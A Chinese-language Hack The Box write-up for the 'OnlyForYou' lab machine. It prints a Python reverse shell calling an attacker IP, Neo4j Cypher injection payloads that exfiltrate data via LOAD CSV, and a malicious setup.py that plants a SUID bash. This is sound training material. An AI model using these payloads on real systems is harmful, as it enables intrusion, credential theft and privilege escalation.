HTB-OnlyForYou

HTB-OnlyForYou

  • 信息收集
  • 立足
  • john
  • john -> root

HTB-OnlyForYou_第1张图片

信息收集

HTB-OnlyForYou_第2张图片

HTB-OnlyForYou_第3张图片

HTB-OnlyForYou_第4张图片
Designed by BootstrapMade.

在这里插入图片描述

HTB-OnlyForYou_第5张图片

在他们的TEAM的常见问答里面发现了一个beta产品。
HTB-OnlyForYou_第6张图片

网站首页可以下载疑似源码的文件。
HTB-OnlyForYou_第7张图片
右上角还有两个功能。
在这里插入图片描述
一个是上传图片并调整大小。
HTB-OnlyForYou_第8张图片

上传了文件后会跳转到list,选择要修改的大小。
HTB-OnlyForYou_第9张图片

一个是上传图片并转换,上传的jpg会转化为png,png会转化为jpg。
HTB-OnlyForYou_第10张图片

看看源码吧。根据源码显示,存在一个装饰器/download。
HTB-OnlyForYou_第11张图片
能看到只能允许POST方式访问,并且有一个image变量并且会对这个变量的值进行判断并且进行下一步操作。如果我们输入黑名单里面的值会发生什么?首先使用burp suite抓包后发送到repeater。并且转化为POST请求。
HTB-OnlyForYou_第12张图片
输入黑名单的值后看到给了我们一个jwt。
HTB-OnlyForYou_第13张图片
解码后就能看到Hacking detected了。

HTB-OnlyForYou_第14张图片
要是我不输入黑名单的字,直接输入/etc/passwd会怎么样?

HTB-OnlyForYou_第15张图片

一个LFI出现在我们眼前。不过很遗憾不能直接读取用户的.ssh文件里的id_rsa文件。
这个网站的所使用的框架是flask。
在这里插入图片描述
通过读取nginx的配置文件获取到日志文件和虚拟主机文件。
HTB-OnlyForYou_第16张图片
在/etc/nginx/sites-enabled/default中找到了网站的绝对路径。
HTB-OnlyForYou_第17张图片
并且能够看到only4you.htb的app.py。
HTB-OnlyForYou_第18张图片
import form?这是什么?让我们去看看。

HTB-OnlyForYou_第19张图片

HTB-OnlyForYou_第20张图片
run是subprocess里的,根据官方文档所示,它的作用是执行args命令并返回CompleteProcess。
HTB-OnlyForYou_第21张图片

那这下好办了。只要我们的邮件能够通过正则表达就可以执行任意命令了。经过测试,发现可能只有admin是存在的并能通过验证的。
HTB-OnlyForYou_第22张图片
如果直接输入[email protected];ping -nc 2 ip肯定是过不了正则,尝试使用burp suite来绕过检查。

HTB-OnlyForYou_第23张图片

立足

使用代码反弹

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.2",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

将其复制到burp suite中按下ctrl+u可以快速使用url对上述代码进行编码。

HTB-OnlyForYou_第24张图片

发现本地有3000、8001、7474、7687端口。

HTB-OnlyForYou_第25张图片
其中的7474端口。

HTB-OnlyForYou_第26张图片

使用chisel将端口转发过来。

HTB-OnlyForYou_第27张图片
好的,我们来到了Neo4J的友好web界面。但是需要我们登录,所以下一步就是尝试寻找Neo4J的登录凭证。

HTB-OnlyForYou_第28张图片
首先点了连接后会发现错误。根据提示看能够看到是无法简历websocket的连接。

HTB-OnlyForYou_第29张图片
使用chisel同时将7474、7687转发回来。

HTB-OnlyForYou_第30张图片
并尝试使用“无验证”的方式登录会收到”由于身份验证失败,客户端未授权“。

HTB-OnlyForYou_第31张图片
但是找了半天还是没发现什么,所以将前面发现的3000、8001一起转发过来。
3000端口。

HTB-OnlyForYou_第32张图片

8001端口。

HTB-OnlyForYou_第33张图片
经过测试可以使用admin:admin登录8001端口的服务。

HTB-OnlyForYou_第34张图片
右下角有几个任务。

HTB-OnlyForYou_第35张图片
经过一阵子摸索,我认为可能的路线:(1).通过8001登录知道邮件还没检查,(2).通过检查邮件获取neo4j的登陆密码账号,(3).然后通过neo4j的凭证登录Gogs。可能2和3是反过来的。试了几个常用凭证无果后尝试使用hydra跑一下。

HTB-OnlyForYou_第36张图片

感觉不太可能是暴力能跑出来的,所以考虑智取。搜索知道neo4j存在一些漏洞但是当前版本可能性较低,Gogs有两个sql注入,但是不确定,所以扫描了一下网站目录。

HTB-OnlyForYou_第37张图片
额,前面的猜测一举推翻,因为暂时没发现和邮件有关的东西。所以重心转向Neo4j和Gogs的版本漏洞上。
HTB-OnlyForYou_第38张图片
虽然无法获取Gogs的具体版本,但是还是能通过exploit-db找到一些。

HTB-OnlyForYou_第39张图片

HTB-OnlyForYou_第40张图片

但是我尝试了几次都没有成功,额。可能Gogs和Neo4j存在的问题不是我们上面所尝试的。还有一个ONLY4YOU的网站里面的雇员页有一个搜索。
HTB-OnlyForYou_第41张图片
输入john查询。
HTB-OnlyForYou_第42张图片
没有任何结果,联系上面得知可能和Neo4j数据库有关。
HTB-OnlyForYou_第43张图片
试了几个密码注入的几个payload除了个别有500就没有结果了。在Extracting Information这有了新的发现。

HTB-OnlyForYou_第44张图片
他返回了我们查询的版本信息等。

HTB-OnlyForYou_第45张图片

这说明这条路可能是正确的,下一步是跟着hacktricks的走一下。其中获取表的命令需要修改一下。
HTB-OnlyForYou_第46张图片
经过修改能够通过下面的命令查询表。

' OR 1=1 WITH 1 as a  CALL db.labels() yield label LOAD CSV FROM 'http://10.10.14.8:4444/?l='+label as l RETURN 0 as _0 //

HTB-OnlyForYou_第47张图片
表名是user。接着查询表内的key。
HTB-OnlyForYou_第48张图片
修改代码,将Flag修改为user。

' OR 1=1 WITH 1 as a MATCH (f:user) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.14.8:4444/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //

然后就能获得一个password。
HTB-OnlyForYou_第49张图片
不出意外是admin用户的密码。用hashcat跑一下即可知道。
HTB-OnlyForYou_第50张图片

所以这个user表就一个用户??我注意到nc接收到的请求是HTTP请求,所以可以试试用python -m http.server 4444来进行获取请求。

HTB-OnlyForYou_第51张图片
再次查看user的key时多了john。
HTB-OnlyForYou_第52张图片
对john的密码进行破解得到ThisIs4You
HTB-OnlyForYou_第53张图片
employee的key我在查询的时候,不知怎么的自己显示在网页上了。

HTB-OnlyForYou_第54张图片
使用john:ThisIs4You登录Gogs。

HTB-OnlyForYou_第55张图片
也就是个test。
HTB-OnlyForYou_第56张图片
尝试了一下前面搜索的Gogs的sql注入没有结果。陷入沉思。

john

万万没想到这个就是john的ssh账号。
HTB-OnlyForYou_第57张图片

john -> root

HTB-OnlyForYou_第58张图片

可以从本地的3000端口上下载软件包。3000不就是Gogs,所以思路就是生成一个恶意的软件包上传到Gogs上再通过pip3 download下载时执行。但是有一个问题,如果我们直接上传到john在Gogs的test上。
HTB-OnlyForYou_第59张图片
然后使用sudo -l的命令下载会发现404。

在这里插入图片描述

如果我们在域名前面加上身份验证,就不符合sudo -l给出的允许的命令。

在这里插入图片描述
sudo -l。
在这里插入图片描述
也就是说http://127.0.0.1:3000/是定死了的中间随意,末尾需要是tar.gz。突然发现Test有一个锁,表示私人。
HTB-OnlyForYou_第60张图片
可能我们需要新建立一个仓库就可以不用登陆就能使用。
HTB-OnlyForYou_第61张图片
HTB-OnlyForYou_第62张图片

准备恶意的软件包。

mkdir aster
cd aster
touch setup.py
mkdir src
touch src/__init__.py
echo 'print("aster")' > src/main.py

HTB-OnlyForYou_第63张图片
setup.py内容如下:

from setuptools import setup, find_packages
from setuptools.command.install import install
from setuptools.command.egg_info import egg_info

def RunCommand():
        # Arbitrary code here!
        import os;os.system("cp /bin/bash /tmp/bash;chmod u+s /tmp/bash")

class RunEggInfoCommand(egg_info):
    def run(self):
        RunCommand()
        egg_info.run(self)


class RunInstallCommand(install):
    def run(self):
        RunCommand()
        install.run(self)

setup(
    name = "aster",
    version = "1.0",
    license = "MIT",
    packages=find_packages(),
    cmdclass={
        'install' : RunInstallCommand,
        'egg_info': RunEggInfoCommand
    },
)

确保使用pip3 安装了build、setuptools。

pip3 install setuptools
pip3 install build

在恶意包的根目录(当前是aster)下生成恶意包

HTB-OnlyForYou_第64张图片
稍等片刻就可以得到生成好的包。
HTB-OnlyForYou_第65张图片
建好的包在dist里面,然后通过前面新建库后上传它。
HTB-OnlyForYou_第66张图片
要注意src要改为raw,因为raw才能够下载。
在这里插入图片描述
然后再次使用。
在这里插入图片描述

你可能感兴趣的:(其他)